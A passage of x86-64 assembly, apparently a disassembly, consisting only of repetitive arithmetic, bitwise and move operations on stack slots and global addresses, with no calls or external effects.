mov word [0x1401e70b8], ax
movsx eax, byte [rsp + 0x137]
movsx ecx, byte [rsp + 0x20d]
shl eax, cl
mov rcx, qword [rsp + 0x9720]
mov byte [rcx], al
mov rax, qword [rsp + 0xcd38]
movzx eax, byte [rax]
mov byte [rsp + 0x279], al
movsx eax, word [rsp + 0x13e8]
movsx ecx, word [rsp + 0x14f8]
and eax, ecx
mov word [rsp + 0x1420], ax
mov rax, qword [rsp + 0xb918]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa6c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd160]
mov word [rcx], ax
mov eax, dword [rsp + 0x5484]
mov dword [rsp + 0x55c4], eax
mov rax, qword [rsp + 0xa7f8]
mov rcx, qword [rsp + 0xa048]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa5f8], rax
mov rax, qword [rsp + 0xa978]
mov eax, dword [rax]
mov dword [rsp + 0x55c8], eax
mov rax, qword [rsp + 0xb198]
mov rcx, qword [rsp + 0x9670]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ef8], rax
mov rax, qword [rsp + 0xbbc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xadd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e70da], al
mov rax, qword [rsp + 0xc140]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xca58]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
lea rax, [rsp + 0x166]
mov qword [rsp + 0xd198], rax
mov rax, qword [rsp + 0xaea0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov byte [rsp + 0x16a], al
lea rax, [rsp + 0x15c]
mov qword [rsp + 0xd1a0], rax
mov rax, qword [rsp + 0x9538]
mov ecx, dword [rsp + 0x4cec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9ba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd10]
mov rax, qword [rax]
mov rcx, qword [0x1401e7010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x97b8], rax
lea rax, [rsp + 0x9db8]
mov qword [rsp + 0xd1a8], rax
mov rax, qword [rsp + 0xb5d0]
mov rcx, qword [rsp + 0xa9a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ee4], eax
mov rax, qword [0x1401e8e78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1564]
xor eax, ecx
mov word [0x1401e71d8], ax
lea rax, [rsp + 0x18e]
mov qword [rsp + 0xd1b0], rax
mov rax, qword [rsp + 0xc108]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1234]
or eax, ecx
mov word [rsp + 0x144c], ax
movzx eax, byte [rsp + 0x175]
mov byte [rsp + 0x27a], al
movsx eax, word [rsp + 0x1594]
movsx ecx, word [rsp + 0x1744]
sar eax, cl
mov rcx, qword [rsp + 0xb8b8]
mov word [rcx], ax
mov eax, dword [rsp + 0x51c8]
movzx ecx, al
mov eax, dword [rsp + 0x5478]
shl eax, cl
mov dword [rsp + 0x5050], eax
mov rax, qword [rsp + 0xb2e0]
mov rax, qword [rax]
mov qword [rsp + 0xd1b8], rax
mov rax, qword [rsp + 0x9a88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa3f8], rax
mov rax, qword [rsp + 0x93a8]
mov eax, dword [rax]
mov dword [rsp + 0x55cc], eax
mov rax, qword [0x1401e8b30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x25f]
sub eax, ecx
mov byte [0x1401e88c7], al
mov rax, qword [rsp + 0xaa30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd198]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov byte [rcx], al
mov rax, qword [rsp + 0xca40]
movsx eax, word [rax]
movsx ecx, word [0x1401e7164]
add eax, ecx
mov word [rsp + 0x1394], ax
lea rax, [rsp + 0x1254]
mov qword [rsp + 0xd1c0], rax
movsx eax, byte [rsp + 0xf3]
movsx ecx, byte [rsp + 0x166]
sub eax, ecx
mov byte [rsp + 0x78], al
lea rax, [rsp + 0x5018]
mov qword [rsp + 0xd1c8], rax
mov rax, qword [rsp + 0xc868]
mov rcx, qword [rsp + 0xbec8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xafb0], rax
mov rax, qword [rsp + 0xc980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc130]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9948], rax
mov eax, dword [rsp + 0x510c]
mov dword [rsp + 0x55d0], eax
mov rax, qword [rsp + 0xa220]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1360]
add eax, ecx
mov word [0x1401e71dc], ax
mov rax, qword [rsp + 0xc3b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb310]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x162], al
movzx eax, byte [rsp + 0x22f]
mov byte [rsp + 0x27b], al
mov rax, qword [rsp + 0xca80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa988]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9ef0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1278]
movzx ecx, word [rsp + 0x158c]
sar eax, cl
mov word [rsp + 0x1768], ax
lea rax, [0x1401e7004]
mov qword [rsp + 0xd1d0], rax
mov eax, dword [rsp + 0x5028]
mov rcx, qword [rsp + 0xd158]
mov qword [rsp + 0xd1d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd1d8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xab70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9130]
mov qword [rsp + 0xd1e0], rax
mov rax, qword [rsp + 0xa6b8]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xae20], rax
mov rax, qword [rsp + 0xbbf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15c4]
xor eax, ecx
mov rcx, qword [0x1401e8f40]
mov word [rcx], ax
mov rax, qword [rsp + 0x9df8]
movzx eax, word [rax]
mov word [rsp + 0x1794], ax
mov rax, qword [0x1401e8a78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa1f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x215], al
mov rax, qword [rsp + 0xbf58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15f0]
add eax, ecx
mov rcx, qword [rsp + 0xc6a0]
mov word [rcx], ax
lea rax, [rsp + 0x15f0]
mov qword [rsp + 0xd1e8], rax
mov rax, qword [rsp + 0xbed0]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcbe8]
mov dword [rcx], eax
lea rax, [rsp + 0x5058]
mov qword [rsp + 0xd1f0], rax
mov rax, qword [rsp + 0xa760]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9850]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb4d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d90]
mov rax, qword [rax]
mov rcx, qword [0x1401e7010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcab8], rax
lea rax, [rsp + 0x205]
mov qword [0x1401e9068], rax
movzx eax, word [rsp + 0x1458]
mov word [rsp + 0x1798], ax
mov rax, qword [rsp + 0xb918]
movzx eax, word [rax]
mov rcx, qword [0x1401e8e88]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa6a8]
mov word [rcx], ax
lea rax, [rsp + 0xe4]
mov qword [rsp + 0xd1f8], rax
mov rax, qword [rsp + 0xbe48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x219]
sub eax, ecx
mov rcx, qword [rsp + 0xc978]
mov byte [rcx], al
mov rax, qword [rsp + 0xb388]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5210]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ec0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc868]
mov rax, qword [rax]
mov qword [rsp + 0xd200], rax
mov rax, qword [rsp + 0xa7e0]
mov rcx, qword [rsp + 0xb228]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb7f8], rax
mov eax, dword [0x1401e7008]
mov dword [rsp + 0x55d4], eax
mov rax, qword [rsp + 0x9fc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc530]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb3c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb3b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fd]
xor eax, ecx
mov rcx, qword [0x1401e8b90]
mov byte [rcx], al
movzx eax, word [rsp + 0x13c0]
mov rcx, qword [rsp + 0xbaf8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1190], ax
lea rax, [rsp + 0x1168]
mov qword [rsp + 0xd208], rax
mov rax, qword [rsp + 0xba70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb9b8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1e9], al
mov rax, qword [rsp + 0xcaf0]
mov qword [rsp + 0xd210], rax
mov rax, qword [rsp + 0xab60]
mov ecx, dword [rsp + 0x5284]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa2e8]
mov dword [rcx], eax
lea rax, [rsp + 0xcab8]
mov qword [rsp + 0xd218], rax
mov rax, qword [rsp + 0xcfa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f1c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x507c], eax
movzx eax, word [rsp + 0x1204]
mov rcx, qword [rsp + 0x9de0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x162c], ax
mov rax, qword [rsp + 0xc6b8]
movzx eax, word [rax]
mov word [0x1401e9070], ax
movzx eax, byte [0x1401e70be]
mov byte [rsp + 0x27c], al
mov rax, qword [rsp + 0xafe0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1554]
add eax, ecx
mov rcx, qword [rsp + 0xbb88]
mov word [rcx], ax
lea rax, [rsp + 0x1524]
mov qword [rsp + 0xd220], rax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0xcd60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x91d8], rax
mov rax, qword [rsp + 0xbdd0]
mov rcx, qword [rsp + 0xa770]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb670], rax
mov eax, dword [rsp + 0x54c4]
mov dword [rsp + 0x55d8], eax
mov rax, qword [rsp + 0xc160]
mov rcx, qword [rsp + 0x9f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ec4], eax
lea rax, [rsp + 0x227]
mov qword [rsp + 0xd228], rax
lea rax, [rsp + 0x83]
mov qword [0x1401e9078], rax
mov rax, qword [rsp + 0x8d90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc328]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1314], ax
movzx eax, word [0x1401e8f10]
movzx ecx, word [rsp + 0x1660]
add eax, ecx
mov word [rsp + 0x16e4], ax
lea rax, [rsp + 0x192]
mov qword [rsp + 0xd230], rax
mov rax, qword [rsp + 0xd0e0]
mov ecx, dword [rsp + 0x4e88]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x5164], eax
mov eax, dword [rsp + 0x5128]
mov dword [rsp + 0x55dc], eax
mov rax, qword [rsp + 0x90e0]
mov rcx, qword [rsp + 0xb090]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb498]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa338]
mov rax, qword [rax]
mov qword [rsp + 0xd238], rax
movsx eax, word [rsp + 0x10cc]
mov rcx, qword [rsp + 0x9278]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x10e8], ax
mov rax, qword [rsp + 0x9160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xccd8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401e9018]
mov word [rcx], ax
mov rax, qword [rsp + 0x9fa8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e70d7]
xor eax, ecx
mov byte [rsp + 0xe2], al
lea rax, [rsp + 0x185]
mov qword [rsp + 0xd240], rax
mov rax, qword [rsp + 0xd228]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc690]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xfb], al
movzx eax, byte [rsp + 0x1ac]
mov byte [rsp + 0x27d], al
mov rax, qword [rsp + 0x91c0]
mov rcx, qword [rsp + 0x9db8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xace0], rax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xbec0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0xd248], rax
mov rax, qword [rsp + 0xc1b8]
mov rcx, qword [rsp + 0x9a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb270]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa678]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc518]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e71e0], ax
lea rax, [rsp + 0x1568]
mov qword [rsp + 0xd250], rax
movzx eax, byte [rsp + 0x21b]
movzx ecx, byte [rsp + 0x82]
add eax, ecx
mov byte [rsp + 0x84], al
movsx eax, byte [rsp + 0x214]
mov rcx, qword [rsp + 0xaa30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd150]
mov byte [rcx], al
lea rax, [0x1401e88f0]
mov qword [rsp + 0xd258], rax
mov rax, qword [rsp + 0xb910]
mov rcx, qword [rsp + 0xcdc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa180]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb990]
mov rax, qword [rax]
mov qword [rsp + 0xd260], rax
mov rax, qword [rsp + 0xa760]
mov rcx, qword [rsp + 0xa5d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9230]
mov qword [rcx], rax
mov rax, qword [rsp + 0x99a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5240]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa978]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [0x1401e7083]
sub eax, ecx
mov byte [0x1401e7073], al
lea rax, [rsp + 0x98]
mov qword [rsp + 0xd268], rax
mov rax, qword [rsp + 0xc240]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbac8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1234], ax
movzx eax, word [rsp + 0x1060]
mov word [rsp + 0x179c], ax
mov rax, qword [0x1401e8b38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x192]
shl eax, cl
mov rcx, qword [rsp + 0xac58]
mov byte [rcx], al
lea rax, [rsp + 0x9f50]
mov qword [rsp + 0xd270], rax
mov rax, qword [rsp + 0xa660]
mov rcx, qword [rsp + 0x9e70]
mov qword [rsp + 0xd278], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd278]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xad90], rax
mov eax, dword [rsp + 0x4e1c]
mov ecx, dword [0x1401e7008]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5340], eax
lea rax, [rsp + 0x5200]
mov qword [rsp + 0xd280], rax
movsx eax, word [rsp + 0x14f0]
mov rcx, qword [rsp + 0xa7d8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e71dc], ax
movzx eax, byte [0x1401e70a3]
movzx ecx, byte [rsp + 0x200]
and eax, ecx
mov byte [rsp + 0x1e1], al
lea rax, [rsp + 0x164c]
mov qword [rsp + 0xd288], rax
mov rax, qword [rsp + 0xb578]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb2c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb230]
mov byte [rcx], al
movsx eax, word [rsp + 0x154c]
movsx ecx, word [rsp + 0x1228]
sub eax, ecx
mov word [rsp + 0x1690], ax
mov rax, qword [rsp + 0x9468]
mov qword [rsp + 0xd290], rax
mov rax, qword [rsp + 0xad70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xaac0], rax
lea rax, [rsp + 0x5034]
mov qword [rsp + 0xd298], rax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fb0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd1d0]
mov dword [rcx], eax
lea rax, [rsp + 0x1000]
mov qword [0x1401e9080], rax
mov rax, qword [rsp + 0xabc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x17d]
sub eax, ecx
mov byte [rsp + 0x1a3], al
lea rax, [rsp + 0x195]
mov qword [rsp + 0xd2a0], rax
mov rax, qword [rsp + 0xc2b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1164]
sub eax, ecx
mov rcx, qword [rsp + 0xc240]
mov word [rcx], ax
lea rax, [rsp + 0x15bc]
mov qword [rsp + 0xd2a8], rax
mov rax, qword [rsp + 0xc018]
mov rcx, qword [rsp + 0xc440]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0xb300]
mov rax, qword [rax]
mov qword [rsp + 0xd2b0], rax
mov rax, qword [rsp + 0xb5b0]
mov ecx, dword [0x1401e7004]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x54c4], eax
mov rax, qword [rsp + 0x9a30]
mov rcx, qword [rsp + 0xab98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x53cc], eax
mov rax, qword [rsp + 0xccf8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e88dc]
shl eax, cl
mov byte [0x1401e70e7], al
mov rax, qword [rsp + 0xd228]
movzx eax, byte [rax]
mov byte [rsp + 0x27e], al
mov rax, qword [rsp + 0xc2d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc180]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1404], ax
movzx eax, word [rsp + 0x1018]
mov word [rsp + 0x17a0], ax
movzx eax, byte [rsp + 0x267]
movzx ecx, byte [rsp + 0xb3]
sar eax, cl
mov byte [rsp + 0x1e2], al
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0x9128]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc038], rax
lea rax, [rsp + 0xab68]
mov qword [rsp + 0xd2b8], rax
mov eax, dword [rsp + 0x53c0]
mov ecx, dword [rsp + 0x4f1c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x98c0]
mov dword [rcx], eax
lea rax, [rsp + 0x4e68]
mov qword [rsp + 0xd2c0], rax
mov rax, qword [rsp + 0xc3a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10e0]
add eax, ecx
mov rcx, qword [0x1401e8880]
mov word [rcx], ax
movsx eax, byte [rsp + 0x150]
movsx ecx, byte [rsp + 0x221]
add eax, ecx
mov rcx, qword [rsp + 0xc4f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x10dc]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1210], ax
mov rax, qword [rsp + 0x90e8]
movzx eax, word [rax]
mov word [rsp + 0x17a4], ax
mov rax, qword [rsp + 0xc268]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa6]
and eax, ecx
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0xadb0]
mov rax, qword [rax]
mov qword [rsp + 0xd2c8], rax
mov rax, qword [rsp + 0x9578]
mov rcx, qword [0x1401e7010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xae68], rax
mov rax, qword [rsp + 0x9710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x55b8], eax
mov eax, dword [rsp + 0x4f4c]
mov dword [rsp + 0x55e0], eax
movzx eax, word [rsp + 0x14e4]
movzx ecx, word [0x1401e88f0]
add eax, ecx
mov rcx, qword [0x1401e8958]
mov word [rcx], ax
mov rax, qword [rsp + 0x97b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc0a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1408], ax
movzx eax, byte [rsp + 0x20c]
mov byte [rsp + 0x27f], al
movzx eax, byte [rsp + 0x1a4]
mov rcx, qword [0x1401e8f68]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9fa8]
mov byte [rcx], al
lea rax, [rsp + 0x90]
mov qword [rsp + 0xd2d0], rax
mov rax, qword [rsp + 0xa730]
mov rcx, qword [rsp + 0xc8a0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc6d0], rax
mov rax, qword [rsp + 0xc380]
mov rcx, qword [rsp + 0xa968]
mov qword [rsp + 0xd2d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2d8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9698], rax
lea rax, [rsp + 0x4ec8]
mov qword [rsp + 0xd2e0], rax
mov rax, qword [rsp + 0xb088]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5368]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5340], eax
lea rax, [0x1401e87e7]
mov qword [rsp + 0xd2e8], rax
lea rax, [rsp + 0x1470]
mov qword [0x1401e9088], rax
mov rax, qword [rsp + 0x9448]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbf60]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x15b], al
movsx eax, word [rsp + 0x1624]
movsx ecx, word [0x1401e7034]
sub eax, ecx
mov word [rsp + 0x12c4], ax
movzx eax, byte [rsp + 0x221]
mov byte [rsp + 0x280], al
mov rax, qword [rsp + 0xb648]
mov rcx, qword [rsp + 0xaa90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50f8], eax
mov rax, qword [rsp + 0x9cc0]
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0x9228]
mov rax, qword [rax]
mov rcx, qword [0x1401e7028]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d10], rax
mov rax, qword [rsp + 0x9f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f44]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91f8]
mov dword [rcx], eax
lea rax, [0x1401e70a8]
mov qword [rsp + 0xd2f8], rax
movsx eax, word [rsp + 0x1328]
mov rcx, qword [rsp + 0xc468]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8cd8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1080]
mov rcx, qword [rsp + 0xa1a0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa5e8]
mov word [rcx], ax
lea rax, [0x1401e7067]
mov qword [rsp + 0xd300], rax
movzx eax, word [rsp + 0x158c]
mov rcx, qword [rsp + 0xb830]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1678], ax
mov rax, qword [rsp + 0xc958]
mov rcx, qword [rsp + 0xc0c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x97b8], rax
lea rax, [0x1401e7018]
mov qword [rsp + 0xd308], rax
mov rax, qword [rsp + 0xca70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e5c], eax
lea rax, [rsp + 0x4fa8]
mov qword [rsp + 0xd310], rax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0xc4a8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x279], al
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x191]
sar eax, cl
mov byte [0x1401e70ea], al
lea rax, [rsp + 0x237]
mov qword [rsp + 0xd318], rax
mov rax, qword [rsp + 0xb5e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1204]
xor eax, ecx
mov word [rsp + 0x12b4], ax
movsx eax, word [rsp + 0x1078]
movsx ecx, word [rsp + 0x16bc]
or eax, ecx
mov word [rsp + 0x11e8], ax
mov eax, dword [rsp + 0x5508]
mov dword [rsp + 0x55e4], eax
mov rax, qword [rsp + 0xb210]
mov rcx, qword [rsp + 0xbe98]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc5c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa5c8]
mov rax, qword [rax]
mov qword [rsp + 0xd320], rax
mov rax, qword [rsp + 0xc250]
mov rcx, qword [rsp + 0xb768]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0x9738]
mov dword [rcx], eax
mov rax, qword [0x1401e8e90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb050]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x176c], ax
movzx eax, byte [rsp + 0x77]
mov rcx, qword [rsp + 0xc3a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e7047], al
mov rax, qword [rsp + 0xb0b0]
movzx eax, byte [rax]
mov byte [rsp + 0x281], al
mov rax, qword [0x1401e8c58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13e8]
add eax, ecx
mov rcx, qword [rsp + 0xb3e8]
mov word [rcx], ax
lea rax, [rsp + 0x276]
mov qword [rsp + 0xd328], rax
movzx eax, word [rsp + 0x1258]
movzx ecx, word [rsp + 0x1210]
sub eax, ecx
mov word [rsp + 0x1138], ax
mov rax, qword [rsp + 0xa5c8]
mov rcx, qword [rsp + 0xb4b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ee8], rax
mov rax, qword [rsp + 0x9c38]
mov eax, dword [rax]
mov dword [rsp + 0x55e8], eax
mov rax, qword [rsp + 0xbb78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x517c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9580]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd1b8]
mov qword [rsp + 0xd330], rax
mov rax, qword [rsp + 0xa7d0]
movzx eax, byte [rax]
mov byte [0x1401e88de], al
mov rax, qword [rsp + 0x9448]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9288]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x114], al
lea rax, [0x1401e8c08]
mov qword [rsp + 0xd338], rax
movsx eax, byte [rsp + 0x119]
mov rcx, qword [rsp + 0x9148]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb508]
mov byte [rcx], al
movzx eax, word [rsp + 0x1084]
movzx ecx, word [rsp + 0x1184]
sar eax, cl
mov word [rsp + 0x14c4], ax
mov rax, qword [0x1401e7018]
mov qword [rsp + 0xd340], rax
mov rax, qword [rsp + 0xaad8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ef0]
shl eax, cl
mov dword [rsp + 0x4e20], eax
lea rax, [rsp + 0x5460]
mov qword [rsp + 0xd348], rax
mov rax, qword [rsp + 0xd018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa260]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9510]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x93]
movzx ecx, byte [rsp + 0x203]
or eax, ecx
mov byte [0x1401e70eb], al
mov rax, qword [rsp + 0xa7d0]
movsx eax, byte [rax]
mov rcx, qword [0x1401e8ee8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x170], al
lea rax, [rsp + 0x10b8]
mov qword [rsp + 0xd350], rax
movzx eax, word [rsp + 0x1038]
movzx ecx, word [rsp + 0x134c]
and eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov word [rcx], ax
movzx eax, word [rsp + 0x148c]
mov word [rsp + 0x17a8], ax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xafe8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5260], eax
mov rax, qword [rsp + 0xa2b0]
mov ecx, dword [rsp + 0x4e58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5348], eax
lea rax, [rsp + 0x8e50]
mov qword [rsp + 0xd358], rax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0x9cc0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcc40], rax
movzx eax, byte [rsp + 0x246]
movzx ecx, byte [rsp + 0x195]
sub eax, ecx
mov byte [0x1401e70c6], al
lea rax, [rsp + 0x12f8]
mov qword [rsp + 0xd360], rax
movsx eax, byte [rsp + 0x151]
